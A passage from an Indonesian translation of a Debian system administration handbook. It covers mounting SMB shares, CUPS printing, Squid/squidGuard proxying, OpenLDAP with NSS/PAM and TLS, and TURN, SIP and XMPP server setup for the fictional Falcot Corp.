Program smbclient meng-query server SMB. Menerima opsi -U pengguna, untuk menghubungkan ke server di bawah identitas tertentu. smbclient //server/share mengakses share dengan cara interaktif yang mirip dengan baris perintah klien FTP. smbclient -L server menampilkan daftar seluruh share yang tersedia (dan terlihat) pada server.

11.5.2.2. Mengait Share Windows

Perintah mount memungkinkan mengait share Windows ke dalam hirarki sistem berkas Linux (dengan bantuan dari mount.cifs yang disediakan oleh cifs-utils).

Contoh 11.21. Mengait suatu share Windows

mount -t cifs //arrakis/shared /shared \

-o credentials=/etc/smb-credentials

Berkas /etc/smb-credentials (yang harus tidak bisa dibaca oleh pengguna) memiliki format berikut:

username = pengguna

password = kata sandi

Opsi lain dapat dinyatakan pada baris perintah; daftar lengkap mereka tersedia di halaman manual mount.cifs(1). Dua opsi secara khusus bisa menarik: uid dan gid memungkinkan memaksa pemilik dan kelompok berkas yang tersedia saat mount, agar tidak membatasi akses ke root.

Mount share Windows juga dapat dikonfigurasi di /etc/fstab:

//server/shared /shared cifs credentials=/etc/smb-credentials

Melepas kait share SMB/CIFS dilakukan dengan perintah standar umount.

11.5.2.3. Pencetakan pada Pencetak Bersama

CUPS adalah solusi elegan untuk mencetak dari workstation Linux ke pencetak yang dibagikan oleh mesin Windows. Ketika smbclient dipasang, CUPS memungkinkan instalasi pencetak bersama Windows secara otomatis.

Ini adalah langkah-langkah yang diperlukan:

- Masukkan konfigurasi antarmuka CUPS: http://localhost:631/admin

- Klik pada "Tambah Pencetak".

- Pilih perangkat pencetak, pilih "Pencetak Windows melalui SAMBA".

- Masukkan URI koneksi untuk pencetak jaringan. Seharusnya terlihat seperti berikut:
smb://pengguna:katasandi@server/pencetak.

- Masukkan nama yang akan mengidentifikasi pencetak ini secara unik. Kemudian masukkan keterangan dan lokasi pencetak. Mereka adalah string yang akan ditampilkan kepada pengguna akhir untuk membantu mereka mengidentifikasi pencetak.

- Tunjukkan produsen/model pencetak, atau langsung berikan sebuah berkas deskripsi pencetak (PPD) yang bekerja.

Voilà, pencetak operasional!

11.6. Proksi HTTP/FTP

Suatu proksi HTTP/FTP bertindak sebagai perantara untuk koneksi HTTP dan/atau FTP. Perannya ada dua:

- Penyinggahan: dokumen-dokumen yang baru saja diunduh akan disalin secara lokal, yang menghindari pengunduhan berganda.

- Server penyaringan: jika penggunaan proksi wajib (dan koneksi keluar diblokir kecuali mereka pergi melalui proksi), maka proksi dapat menentukan apakah permintaan tersebut dikabulkan.

Falcot Corp memilih Squid sebagai server proksi mereka.

11.6.1. Memasang

Paket Debian squid[2] hanya berisi proksi modular (cache). Mengubahnya menjadi sebuah server penyaringan membutuhkan instalasi paket tambahan squidguard. Selain itu, squid-cgi menyediakan antarmuka administrasi dan kuiri untuk proksi Squid.

Sebelum memasang, perlu dipastikan bahwa sistem dapat mengidentifikasi nama lengkap sendiri: hostname -f harus mengembalikan nama lengkap (termasuk domain). Jika tidak, maka berkas /etc/hosts harus disunting agar memuat nama lengkap dari sistem (misalnya, arrakis.falcot.com). Nama resmi komputer harus divalidasi dengan administrator jaringan untuk menghindari kemungkinan konflik nama.

11.6.2. Mengkonfigurasi sebuah Singgahan

Mengaktifkan fitur server singgahan cukup hanya dengan menyunting berkas konfigurasi /etc/squid/squid.conf dan mengizinkan mesin-mesin dari jaringan lokal untuk menjalankan kuiri melalui proksi. Contoh berikut menunjukkan modifikasi yang dibuat oleh administrator Falcot Corp:

Contoh 11.22. Berkas /etc/squid/squid.conf (kutipan)

# MASUKKAN ATURAN ANDA DI SINI UNTUK MENGIZINKAN AKSES DARI KLIEN ANDA

#

include /etc/squid/conf.d/*

# Contoh aturan yang mengizinkan akses dari jaringan lokal Anda.

# Sesuaikan untuk menyertakan jaringan IP (internal) dari mana

# meramban mesti diizinkan.

acl our_networks src 192.168.1.0/24 192.168.2.0/24

http_access allow our_networks

http_access allow localhost

# Dan akhirnya tolak semua akses lain ke proksi ini

http_access deny all

11.6.3. Mengkonfigurasi suatu Penyaring

squid itu sendiri tidak melakukan penyaringan; tindakan ini diserahkan kepada squidGuard. Squid harus kemudian dikonfigurasi untuk berinteraksi dengan yang squidGuard. Ini termasuk menambahkan direktif berikut ke berkas /etc/squid/squid.conf:

url_rewrite_program /usr/bin/squidGuard -c /etc/squid/squidGuard.conf

Program CGI /usr/lib/cgi-bin/squidGuard.cgi juga perlu dipasang, menggunakan /usr/share/doc/squidguard/examples/squidGuard.cgi.gz sebagai titik awal. Modifikasi yang diperlukan pada skrip ini adalah variabel $proxy dan $proxymaster (masing-masing adalah nama proksi dan surel kontak administrator). Variabel $image dan $redirect harus menunjuk ke gambar yang ada yang mewakili penolakan kuiri.

Penyaring diaktifkan dengan perintah service squid reload. Namun, karena paket squidguard tidak melakukan penyaringan secara default, itu adalah tugas administrator untuk menentukan kebijakan. Ini dapat dilakukan dengan membuat berkas /etc/squid/squidGuard.conf (menggunakan /etc/squidguard/squidGuard.conf.default sebagai templat jika diperlukan).

Basis data kerja harus dibuat ulang dengan update-squidguard setelah setiap perubahan berkas konfigurasi squidGuard (atau salah satu daftar domain atau URL yang disebutkan). Sintaks berkas konfigurasi didokumentasikan pada situs web berikut:

→ http://www.squidguard.org/Doc/configure.html

ALTERNATIF E2guardian (sebuah Fork DansGuardian)

Paket e2guardian, sebuah fork DansGuardian, adalah sebuah alternatif untuk squidguard. Perangkat lunak ini tidak hanya menangani daftar hitam URL yang terlarang, tetapi dapat mengambil keuntungan dari sistem PICS[3] (Platform for Internet Content Selection) untuk memutuskan apakah sebuah halaman dapat diterima dengan analisis dinamis isinya.

[2] Paket squid3, meyediakan Squid sampai Debian Jessie, kini adalah sebuah paket transisi dan akan secara otomatis memasang squid.

[3] PICS telah digantikan oleh Protocol for Web Description Resources (sistem POWDER: https://www.w3.org/2009/08/pics_superseded.html.

11.7. Direktori LDAP

OpenLDAP adalah sebuah implementasi protokol LDAP; dengan kata lain, itu adalah sebuah basis data tujuan khusus yang dirancang untuk menyimpan direktori. Dalam kasus penggunaan yang paling umum, menggunakan server LDAP memungkinkan pemusatan manajemen akun pengguna dan izin terkait. Selain itu, sebuah basis data LDAP mudah direplikasi, yang memungkinkan menyiapkan beberapa server LDAP yang tersinkronisasi. Ketika jaringan dan basis pengguna tumbuh cepat, beban kemudian dapat diseimbangkan ke beberapa server.

Data LDAP terstruktur dan hirarkis. Struktur didefinisikan oleh "skema" yang menggambarkan jenis objek yang dapat disimpan oleh basis data, dengan daftar semua atribut mereka yang mungkin. Sintaks yang digunakan untuk merujuk pada suatu obyek tertentu dalam basis data tersebut berdasarkan atas struktur ini, yang menjelaskan kompleksitasnya.

11.7.1. Memasang

Paket slapd berisi server OpenLDAP. Paket ldap-utils memuat alat bantu baris perintah untuk berinteraksi dengan server LDAP.

Memasang slapd biasanya hanya menanyakan kata sandi administrator dan basis data yang dihasilkan sangat boleh jadi tidak sesuai dengan kebutuhan Anda. Untungnya sekedar dpkg-reconfigure slapd memungkinkan Anda mengkonfigurasi ulang basis data LDAP dengan lebih banyak rincian:

- Abaikan konfigurasi server OpenLDAP? Tidak, tentu saja, kami ingin mengkonfigurasi layanan ini.

- Nama domain DNS: "falcot.com".

- Nama organisasi: "Falcot Corp".

- Kata sandi administratif harus diketikkan.

- Backend basis data yang dipakai: "MDB".

- Apakah Anda ingin basis data dihapus ketika slapd dibersihkan? Tidak. Tidak ada gunanya berrisiko kehilangan basis data jika terjadi kesalahan.

- Memindahkan basis data lama? Ini hanya ditanyakan ketika konfigurasi diupayakan sementara basis data yang sudah ada. Hanya jawab "yes" jika Anda benar-benar ingin mulai lagi dari basis data yang bersih, misalnya jika Anda menjalankan dpkg-reconfigure slapd tepat setelah instalasi awal.

KEMBALI KE DASAR format LDIF

Suatu berkas LDIF (LDAP Data Interchange Format) adalah sebuah berkas teks portabel yang menggambarkan isi dari basis data LDAP (atau bagian daripadanya); ini kemudian dapat digunakan untuk menyuntikkan data ke server LDAP lain.

Basis data minimal sekarang dikonfigurasi, seperti yang ditunjukkan oleh kuiri berikut:

$ ldapsearch -x -b dc=falcot,dc=com

# extended LDIF

#

# LDAPv3

# base <dc=falcot,dc=com> with scope subtree

# filter: (objectclass=*)

# requesting: ALL

#

# falcot.com

dn: dc=falcot,dc=com

objectClass: top

objectClass: dcObject

objectClass: organization

o: Falcot Corp

dc: falcot

# admin, falcot.com

dn: cn=admin,dc=falcot,dc=com

objectClass: simpleSecurityObject

objectClass: organizationalRole

cn: admin

description: LDAP administrator

# search result

search: 2

result: 0 Success

# numResponses: 3

# numEntries: 2

Kuiri mengembalikan dua objek: organisasi itu sendiri, dan pengguna administratif.

11.7.2. Mengisi Direktori

Karena basis data kosong yang tidak terlalu berguna, kita akan menyuntikkan ke dalamnya semua direktori yang ada; ini mencakup basis data pengguna, grup, layanan, dan host.

Paket migrationtools menyediakan seperangkat skrip yang didedikasikan untuk mengekstrak data dari direktori standar Unix (/etc/passwd, /etc/group, /etc/services, /etc/hosts, dan seterusnya), mengkonversi data ini dan menyuntikkan ke basis data LDAP.

Setelah paket terpasang, /etc/migrationtools/migrate_common.ph harus disunting; pilihan IGNORE_UID_BELOW dan IGNORE_GID_BELOW perlu diaktifkan (cukup dengan manghapus tanda komentar), dan DEFAULT_MAIL_DOMAIN/DEFAULT_BASE perlu diperbarui.

Operasi migrasi sebenarnya, ditangani oleh perintah migrate_all_online.sh, sebagai berikut:

# cd /usr/share/migrationtools

# LDAPADD="/usr/bin/ldapadd -c" ETC_ALIASES=/dev/null ./migrate_all_online.sh

migrate_all_online.sh menanyakan beberapa pertanyaan tentang basis data LDAP tempat tujuan data akan dimigrasi. Tabel 11.1 meringkas jawaban yang diberikan dalam use-case Falcot.

Tabel 11.1. Jawaban atas pertanyaan yang diajukan oleh skrip migrate_all_online.sh

Pertanyaan

Jawaban

konteks penamaan X.500

dc=falcot,dc=com

Nama host server LDAP

localhost

Manajer DN

cn=admin,dc=falcot,dc=com

Kredensial Bind

kata sandi administratif

Buat DUAConfigProfile

tidak

Kami sengaja mengabaikan migrasi dari berkas /etc/aliases, karena skema standar yang disediakan oleh Debian tidak termasuk struktur yang menggunakan skrip ini untuk menggambarkan alias email. Jika kita ingin mengintegrasikan data ini ke direktori, berkas /etc/ldap/schema/misc.schema harus ditambahkan ke skema standar.

ALAT Meramban suatu direktori LDAP

Perintah jxplorer (dalam paket dengan nama yang sama) adalah alat grafis yang memungkinkan untuk meramban dan menyunting suatu basis data LDAP. Ini adalah alat yang menarik yang menyediakan gambaran yang baik ke administrator tentang struktur hirarkis data LDAP.

Perhatikan juga penggunaan opsi -c untuk perintah ldapadd; opsi ini meminta pengolahan tidak berhenti saat ada kesalahan. Penggunaan opsi ini diperlukan karena mengubah /etc/services sering menghasilkan beberapa kesalahan yang aman untuk diabaikan.

11.7.3. Mengelola akun dengan LDAP

Sekarang basis data LDAP berisi beberapa informasi yang berguna, waktunya telah tiba untuk memakai data ini. Bagian ini berfokus pada bagaimana mengkonfigurasi sistem Linux sehingga berbagai sistem direktori memanfaatkan basis data LDAP.

11.7.3.1. Mengkonfigurasi NSS

Sistem NSS (Name Service Switch, lihat bilah sisi LEBIH JAUH NSS dan basisdata sistem) adalah sebuah sistem modular yang dirancang untuk menentukan atau mengambil informasi untuk direktori sistem. Menggunakan LDAP sebagai sumber data untuk NSS memerlukan memasang paket libnss-ldap. Instalasi menanyakan beberapa pertanyaan; jawaban dirangkum dalam Tabel 11.2.

Tabel 11.2. Mengatur konfigurasi paket libnss-ldap

Pertanyaan

Jawaban

Uniform Resource Identifier server LDAP

ldapi://ldap.falcot.com

Distinguished name dari basis pencarian

dc=falcot,dc=com

Versi LDAP yang akan dipakai

3

Akun LDAP untuk root

cn=admin,dc=falcot,dc=com

Kata sandi akun root LDAP

kata sandi administratif

Izinkan akun admin LDAP berperilaku seperti root lokal?

yes

Apakah basis data LDAP memerlukan login?

tidak

Berkas /etc/nsswitch.conf lalu perlu diubah, sehingga mengkonfigurasi NSS untuk menggunakan modul ldap yang baru dipasang. Anda dapat memakai contoh yang disediakan dalam /usr/share/doc/libnss-ldap/examples/nsswitch.ldap atau menyunting konfigurasi eksisting Anda.

Contoh 11.23. Berkas /etc/nsswitch.conf

#ident $Id: nsswitch.ldap,v 2.4 2003/10/02 02:36:25 lukeh Exp $

#

# An example file that could be copied over to /etc/nsswitch.conf; it

# uses LDAP conjunction with files.

#

# "hosts:" and "services:" in this file are used only if the

# /etc/netconfig file has a "-" for nametoaddr_libs of "inet" transports.

# the following lines obviate the "+" entry in /etc/passwd and /etc/group.

passwd:                files ldap

shadow:                files ldap

group:                files ldap

# consult DNS first, we will need it to resolve the LDAP host. (If we

# can't resolve it, we're in infinite recursion, because libldap calls

# gethostbyname(). Careful!)

hosts:                dns ldap

# LDAP is nominally authoritative for the following maps.

services:   ldap [NOTFOUND=return] files

networks:   ldap [NOTFOUND=return] files

protocols:  ldap [NOTFOUND=return] files

rpc:        ldap [NOTFOUND=return] files

ethers:     ldap [NOTFOUND=return] files

# no support for netmasks, bootparams, publickey yet.

netmasks:   files

bootparams: files

publickey:  files

automount:  files

# I'm pretty sure nsswitch.conf is consulted directly by sendmail,

# here, so we can't do much here. Instead, use bbense's LDAP

# rules ofr sendmail.

aliases:    files

sendmailvars:   files

# Note: there is no support for netgroups on Solaris (yet)

netgroup:   ldap [NOTFOUND=return] files

Modul ldap biasanya dimasukkan sebelum yang lain, dan itu karena itu dikuiri pertama. Pengecualian adalah layanan hosts karena menghubungi server LDAP membutuhkan terlebih dahulu konsultasi ke DNS (untuk me-resolve ldap.falcot.com). Tanpa pengecualian ini, suatu kuiri nama host akan mencoba untuk bertanya ke server LDAP; ini akan memicu resolusi nama untuk server LDAP, dan seterusnya dalam suatu pengulangan tanpa ujung.

Jika server LDAP mesti dianggap otoritatif (dan berkas lokal yang digunakan oleh modul files diabaikan), layanan dapat dikonfigurasi dengan sintaks berikut:

service: ldap [NOTFOUND=return] files.

Jika entri yang diminta tidak ada di basis data LDAP, kuiri akan mengembalikan jawaban "tidak ada" bahkan jika sumber daya ada di salah satu berkas lokal; berkas-berkas lokal ini hanya dapat digunakan ketika layanan LDAP mati.

11.7.3.2. Mengkonfigurasi PAM

Bagian ini menjelaskan tentang konfigurasi PAM (lihat bilah sisi DI BALIK LAYAR /etc/environment dan /etc/default/locale) yang akan memungkinkan aplikasi untuk melakukan otentikasi yang diperlukan terhadap basis data LDAP.

HATI-HATI Otentikasi yang rusak

Mengubah konfigurasi PAM standar yang digunakan oleh berbagai program adalah sebuah operasi yang sensitif. Kesalahan dapat menyebabkan otentikasi yang rusak, yang dapat mencegah masuk. Mempertahankan sebuah shell root terbuka oleh karena itu adalah tindakan pencegahan yang baik. Jika terjadi kesalahan konfigurasi, mereka dapat kemudian diperbaiki dan layanan dijalankan ulang dengan usaha minimum.

Modul LDAP untuk PAM disediakan oleh paket libpam-ldap. Memasang paket ini menanyakan beberapa pertanyaan sangat mirip dengan yang di libnss-ldap; beberapa parameter konfigurasi (seperti URI untuk server LDAP) bahkan dipakai bersama dengan paket libnss-ldap. Jawaban dirangkum dalam Tabel 11.3.

Tabel 11.3. Konfigurasi libpam-ldap

Pertanyaan

Jawaban

Izinkan akun admin LDAP untuk berperilaku seperti root lokal?

Ya. Hal ini memungkinkan menggunakan perintah passwd yang biasa untuk mengubah kata sandi yang disimpan dalam basis data LDAP.

Apakah basis data LDAP memerlukan login?

tidak

Akun LDAP untuk root

cn=admin,dc=falcot,dc=com

Kata sandi akun root LDAP

kata sandi administratif basis data LDAP

Algoritma enkripsi lokal yang digunakan untuk kata sandi

crypt

Memasang libpam-ldap secara otomatis mengadaptasi konfigurasi PAM default yang didefinisikan dalam berkas /etc/pam.d/common-auth, /etc/pam.d/common-password, dan /etc/pam.d/common-account. Mekanisme ini menggunakan alat khusus pam-auth-update (yang disediakan oleh paket libpam-runtime). Alat ini juga dapat dijalankan oleh administrator jika mereka ingin mengaktifkan atau menonaktifkan modul PAM.

11.7.3.3. Mengamankan Pertukaran Data LDAP

Secara default, protokol LDAP transit pada jaringan sebagai teks polos; ini termasuk kata sandi (yang dienkripsi). Karena kata sandi terenkripsi dapat diekstrak dari jaringan, mereka dapat rentan terhadap serangan bertipe dictionary-attack. Ini dapat dihindari dengan menggunakan lapisan tambahan enkripsi; memfungsikan lapisan ini adalah topik bagian ini.

11.7.3.3.1. Menata Server

Langkah pertama adalah untuk membuat pasangan kunci (terdiri dari kunci publik dan kunci privat) untuk server LDAP. Para administrator Falcot kembali memakai easy-rsa untuk menghasilkan ini (lihat Bagian 10.2.2, “Infrastruktur Kunci Publik: easy-rsa”). Menjalankan ./easyrsa build-server-full ldap.falcot.com nopass akan mengajukan pertanyaan tentang "common name". Jawaban atas pertanyaan itu harus berupa fully-qualified hostname untuk server LDAP; dalam kasus kami, ldap.falcot.com.

Perintah ini akan membuat sertifikat dalam berkas pki/issued/ldap.falcot.com.crt; kunci privat disimpan dalam pki/private/ldap.falcot.com.key.

Sekarang kunci ini harus dipasang di lokasi standar mereka, dan kita harus memastikan bahwa berkasi pribadi tersebut dapat dibaca oleh server LDAP yang berjalan di bawah identitas pengguna openldap:

# adduser openldap ssl-cert

Adding user `openldap' to group `ssl-cert' ...

Adding user openldap to group ssl-cert

Done.

# mv pki/private/ldap.falcot.com.key /etc/ssl/private/ldap.falcot.com.key

# chown root:ssl-cert /etc/ssl/private/ldap.falcot.com.key

# chmod 0640 /etc/ssl/private/ldap.falcot.com.key

# ./eassyrsa gen-dh

Note: using Easy-RSA configuration from: ./vars

Using SSL: openssl OpenSSL 1.1.1c  28 May 2019

Generating DH parameters, 2048 bit long safe prime, generator 2

This is going to take a long time

........................................................+..........................................................................+...............................................................................+............

[...]

DH parameters of size 2048 created at /home/roland/pki/dh.pem

# mv pki/dh.pem /etc/ssl/certs/ldap.falcot.com.pem

Daemon slapd juga perlu diberitahu untuk menggunakan kunci-kunci ini untuk enkripsi. Konfigurasi server LDAP dikelola secara dinamis: konfigurasi dapat diperbarui dengan operasi LDAP normal pada hirarki objek cn=config, dan server memperbarui /etc/ldap/slapd.d secara real time untuk membuat konfigurasi persisten. ldapmodify adalah alat yang tepat untuk memperbarui konfigurasi:

Contoh 11.24. Mengkonfigurasi slapd untuk enkripsi

# cat >ssl.ldif <<END

dn: cn=config

changetype: modify

add: olcTLSCertificateFile

olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem

-

add: olcTLSCertificateKeyFile

olcTLSCertificateKeyFile: /etc/ssl/private/ldap.falcot.com.key

-

END

# ldapmodify -Y EXTERNAL -H ldapi:/// -f ssl.ldif

SASL/EXTERNAL authentication started

SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth

SASL SSF: 0

modifying entry "cn=config"

ALAT ldapvi untuk menyunting direktori LDAP

Dengan ldapvi, Anda dapat menampilkan keluaran LDIF dari bagian manapun dari direktori LDAP, membuat beberapa perubahan dalam penyunting teks, dan membiarkan alat melakukan operasi LDAP yang sesuai untuk Anda.

Jadi itu adalah cara mudah untuk memperbarui konfigurasi server LDAP, cukup dengan menyunting hirarki cn=config.

# ldapvi -Y EXTERNAL -h ldapi:/// -b cn=config

Langkah terakhir untuk memfungsikan enkripsi adalah mengubah variabel SLAPD_SERVICES di berkas /etc/default/slapd. Kami akan bermain aman dan menonaktifkan LDAP tidak aman sama sekali.

Contoh 11.25. Berkas /etc/default/slapd

# Default location of the slapd.conf file or slapd.d cn=config directory. If

# empty, use the compiled-in default (/etc/ldap/slapd.d with a fallback to

# /etc/ldap/slapd.conf).

SLAPD_CONF=

# System account to run the slapd server under. If empty the server

# will run as root.

SLAPD_USER="openldap"

# System group to run the slapd server under. If empty the server will

# run in the primary group of its user.

SLAPD_GROUP="openldap"

# Path to the pid file of the slapd server. If not set the init.d script

# will try to figure it out from $SLAPD_CONF (/etc/ldap/slapd.conf by

# default)

SLAPD_PIDFILE=

# slapd normally serves ldap only on all TCP-ports 389. slapd can also

# service requests on TCP-port 636 (ldaps) and requests via unix

# sockets.

# Example usage:

# SLAPD_SERVICES="ldap://127.0.0.1:389/ ldaps:/// ldapi:///"

SLAPD_SERVICES="ldaps:/// ldapi:///"

# If SLAPD_NO_START is set, the init script will not start or restart

# slapd (but stop will still work).  Uncomment this if you are

# starting slapd via some other means or if you don't want slapd normally

# started at boot.

#SLAPD_NO_START=1

# If SLAPD_SENTINEL_FILE is set to path to a file and that file exists,

# the init script will not start or restart slapd (but stop will still

# work).  Use this for temporarily disabling startup of slapd (when doing

# maintenance, for example, or through a configuration management system)

# when you don't want to edit a configuration file.

SLAPD_SENTINEL_FILE=/etc/ldap/noslapd

# For Kerberos authentication (via SASL), slapd by default uses the system

# keytab file (/etc/krb5.keytab).  To use a different keytab file,

# uncomment this line and change the path.

#export KRB5_KTNAME=/etc/krb5.keytab

# Additional options to pass to slapd

SLAPD_OPTIONS=""

11.7.3.3.2. Mengkonfigurasi Klien

Pada sisi klien, konfigurasi untuk modul libpam-ldap dan libnss-ldap perlu dimodifikasi untuk menggunakan URI ldaps://.

Klien LDAP juga harus bisa mengotentikasi server. Di infrastuktur kunci publik X.509, sertifikat pubilk ditandatangani dengan kunci dari certificate authority (CA). Dengan easy-rsa, para administrator Falcot telah menciptakan CA mereka sendiri dan mereka sekarang perlu mengkonfigurasi sistem untuk mempercayai tanda tangan Falcot di CA. Ini dapat dilakukan dengan menempatkan sertifikat CA di /usr/local/share/ca-certificates dan menjalankan update-ca-certificates.

# cp pki/ca.crt /usr/local/share/ca-certificates/falcot.crt

# update-ca-certificates

Updating certificates in /etc/ssl/certs... 1 added, 0 removed; done.

Running hooks in /etc/ca-certificates/update.d....

Adding debian:falcot.pem

done.

done.

Terakhir sama pentingnya, URI LDAP default dan base DN default yang digunakan oleh berbagai alat baris perintah dapat dimodifikasi dalam /etc/ldap/ldap.conf. Ini akan banyak menghemat pengetikan.

Contoh 11.26. Berkas /etc/ldap/ldap.conf

#

#  Default LDAP

#

# Lihat ldap.conf(5) untuk rincian

# Berkas ini mesti dapat dibaca oleh siapapun tapi tidak dapat ditulisi oleh semua orang.

BASE   dc=falcot,dc=com

URI    ldaps://ldap.falcot.com

#SIZELIMIT      12

#TIMELIMIT      15

#DEREF          never

# sertifikat TLS (diperlukan untuk GnuTLS)

TLS_CACERT      /etc/ssl/certs/ca-certificates.crt

11.8. Layanan Komunikasi Real-Time

Layanan Real-Time komunikasi (RTC) meliputi suara, video/webcam, pesan instan (IM), dan berbagi pakai desktop. Bab ini memberikan pengantar singkat tiga layanan yang diperlukan untuk mengoperasikan RTC, termasuk server TURN, server SIP, dan server XMPP. Rincian komprehensif tentang bagaimana untuk merencanakan, memasang, dan mengelola layanan ini tersedia dalam Panduan Ringkas Komunikasi Real-Time termasuk contoh spesifik untuk Debian.

→ https://rtcquickstart.org

SIP dan XMPP dapat menyediakan fungsionalitas yang sama. SIP sedikit lebih dikenal untuk suara dan video sementara XMPP secara tradisional dianggap sebagai protokol IM. Pada kenyataannya, keduanya dapat digunakan untuk tujuan ini. Untuk memaksimalkan pilihan konektivitas, disarankan untuk menjalankan keduanya secara paralel.

Layanan ini mengandalkan sertifikat X.509 untuk tujuan otentikasi dan kerahasiaan. Lihat Bagian 10.2, “setifikat X.509” untuk informasi lebih lanjut.

11.8.1. Pengaturan DNS untuk layanan RTC

Layanan RTC memerlukan record DNS SRV dan NAPTR. Suatu contoh konfigurasi yang dapat ditempatkan dalam berkas zona untuk falcot.com:

; server tempat semua akan dijalankan

server1            IN     A      198.51.100.19

server1            IN     AAAA   2001:DB8:1000:2000::19

; IPv4 only for TURN for now, some clients are buggy with IPv6

turn-server        IN     A      198.51.100.19

; IPv4 and IPv6 addresses for SIP

sip-proxy          IN     A      198.51.100.19

sip-proxy          IN     AAAA   2001:DB8:1000:2000::19

; IPv4 and IPv6 addresses for XMPP

xmpp-gw            IN     A      198.51.100.19

xmpp-gw            IN     AAAA   2001:DB8:1000:2000::19

; DNS SRV and NAPTR for STUN / TURN

_stun._udp  IN SRV    0 1 3467 turn-server.falcot.com.

_turn._udp  IN SRV    0 1 3467 turn-server.falcot.com.

@           IN NAPTR  10 0 "s" "RELAY:turn.udp" "" _turn._udp.falcot.com.

; DNS SRV and NAPTR records for SIP

_sips._tcp  IN SRV    0 1 5061 sip-proxy.falcot.com.

@           IN NAPTR  10 0 "s" "SIPS+D2T" "" _sips._tcp.falcot.com.

; DNS SRV records for XMPP Server and Client modes:

_xmpp-client._tcp  IN     SRV    5 0 5222 xmpp-gw.falcot.com.

_xmpp-server._tcp  IN     SRV    5 0 5269 xmpp-gw.falcot.com.

11.8.2. Server TURN

TURN adalah layanan yang membantu klien di belakang firewall dan router NAT untuk menemukan cara yang paling efisien untuk berkomunikasi dengan klien lain dan me-relay stream media jika tidak ditemukan path media yang langsung. Sangat dianjurkan untuk memasang server TURN sebelum salah satu layanan RTC lain ditawarkan kepada pengguna akhir.

TURN dan protokol ICE yang terkait adalah standar terbuka. Untuk memperoleh manfaat dari protokol-protokol ini, memaksimalkan konektivitas dan meminimalkan frustrasi, itu penting untuk memastikan bahwa semua perangkat lunak klien mendukung ICE dan TURN.

Agar algoritma ICE bekerja secara efektif, server harus memiliki dua alamat IPv4 publik.

Instal paket coturn dan sunting berkas konfigurasi /etc/turnserver.conf. Secara default, database SQLite dikonfigurasi di /var/db/turndb untuk pengaturan akun pengguna, tetapi PostgreSQL, MySQL, atau Redis dapat disiapkan jika diinginkan. Hal terpenting yang harus dilakukan adalah memasukkan alamat IP server.

Server dapat dimulai dengan menjalankan /usr/bin/turnserver. Kami ingin server menjadi layanan sistem yang dimulai secara otomatis, jadi kami menyunting berkas /etc/default/coturn seperti ini:

#

# Uncomment it if you want to have the turnserver running as

# an automatic system service daemon

#

TURNSERVER_ENABLED=1

Secara default, server TURN menggunakan akses anonim. Kita harus menambahkan pengguna yang ingin kita gunakan:

# turnadmin -a -u roland -p secret_password -r falcot.com

# turnadmin -A -u admin -p secret_password

Kita menggunakan argumen -a untuk menambahkan pengguna normal dan -A untuk menambahkan pengguna admin.

11.8.3. Server Proksi SIP

Server proksi SIP mengelola koneksi SIP masuk dan keluar antara organisasi, penyedia trunking SIP, PBX SIP seperti Asterisk, telepon SIP, softphones berbasis SIP, dan aplikasi WebRTC.

Sangat dianjurkan untuk memasang dan mengkonfigurasi proksi SIP sebelum mencoba konfigurasi PBX SIP. Proksi SIP menormalkan banyak lalu lintas yang mencapai PBX dan menyediakan konektivitas dan ketahanan yang lebih besar.

11.8.3.1. Memasang proksi SIP

Instal paket kamailio dan paket untuk basis data backend, administrator Falcot memilih MySQL, jadi mereka menginstal mariadb-server. /etc/kamailio/kamctlrc adalah berkas konfigurasi untuk alat kontrol kamctl dan kamdbctl. Anda perlu menyunting dan menyetel SIP_DOMAIN ke domain layanan SIP Anda dan menyetel DBENGINE ke MySQL, basis data backend lain dapat digunakan.

[...]

## your SIP domain

SIP_DOMAIN=sip.falcot.com

## chrooted directory

# $CHROOT_DIR="/path/to/chrooted/directory"

## database type: MYSQL, PGSQL, ORACLE, DB_BERKELEY, DBTEXT, or SQLITE

# by default none is loaded

#

# If you want to setup a database with kamdbctl, you must at least specify

# this parameter.

DBENGINE=MYSQL

[...]

Sekarang kita fokus pada berkas konfigurasi /etc/kamailio/kamailio.cfg. Falcot membutuhkan otentikasi pengguna dan lokasi pengguna yang persisten, sehingga mereka menambahkan perintah #!define berikut di bagian atas berkas itu:

#!KAMAILIO

#

# Kamailio (OpenSER) SIP Server v5.2 - default configuration script

#     - web: https://www.kamailio.org

#     - git: https://github.com/kamailio/kamailio

#!define WITH_MYSQL

#!define WITH_AUTH

#!define WITH_USRLOCDB

[...]

Kamailio membutuhkan struktur basis data yang dapat kita buat dengan menjalankan kamdbctl create sebagai root.

Akhirnya, kita bisa menambahkan beberapa pengguna dengan kamctl.

# kamctl add roland secret_password

Setelah semuanya dikonfigurasi dengan benar, Anda dapat memulai atau memulai ulang layanan dengan systemctl restart kamailio, Anda dapat terhubung dengan klien SIP yang memberikan alamat IP dan port (5090 adalah port default). Pengguna memiliki id berikut: roland@sip.falcot.com , dan mereka dapat login menggunakan suatu klien (lihat Bagian 13.10, “Perangkat lunak Komunikasi Real-Time”)

11.8.4. Server XMPP

Suatu server XMPP mengelola konektivitas antara pengguna XMPP lokal dan XMPP pengguna di domain lainnya di Internet.

KOSAKATA XMPP atau Jabber?

XMPP kadang-kadang disebut sebagai Jabber. Pada kenyataannya, Jabber adalah merek dagang dan XMPP adalah nama resmi standar.

Prosody adalah server XMPP populer yang beroperasi secara andal pada server Debian.

11.8.4.1. Pasang server XMPP

Pasang paket prosody.

Tinjau berkas konfigurasi /etc/prosody/prosody.cfg.lua. Yang paling penting untuk dilakukan adalah memasukkan JID pengguna yang diizinkan untuk mengelola server.

admins = { "joe@falcot.com" }

Berkas konfigurasi individu juga diperlukan untuk setiap domain. Salin contoh dari /etc/prosody/conf.avail/example.com.cfg.lua dan gunakan sebagai titik awal. Berikut adalah falcot.com.cfg.lua:

VirtualHost "falcot.com"

enabled = true

ssl = {

key = "/etc/ssl/private/falcot.com-key.pem";

certificate = "/etc/ssl/public/falcot.com.pem";

}

-- Set up a MUC (multi-user chat) room server on conference.example.com:

Component "conference.falcot.com" "muc"

Untuk mengaktifkan domain, harus ada symlink dari /etc/prosody/conf.d/. Buat dengan cara:

# ln -s /etc/prosody/conf.avail/falcot.com.cfg.lua /etc/prosody/conf.d/

Jalankan ulang layanan menggunakan konfigurasi baru.

11.8.4.2. Mengelola server XMPP

Beberapa operasi manajemen dapat dilakukan dengan menggunakan utilitas baris perintah prosodyctl. Misalnya, untuk menambahkan akun administrator yang ditentukan dalam /etc/prosody/prosody.cfg.lua:

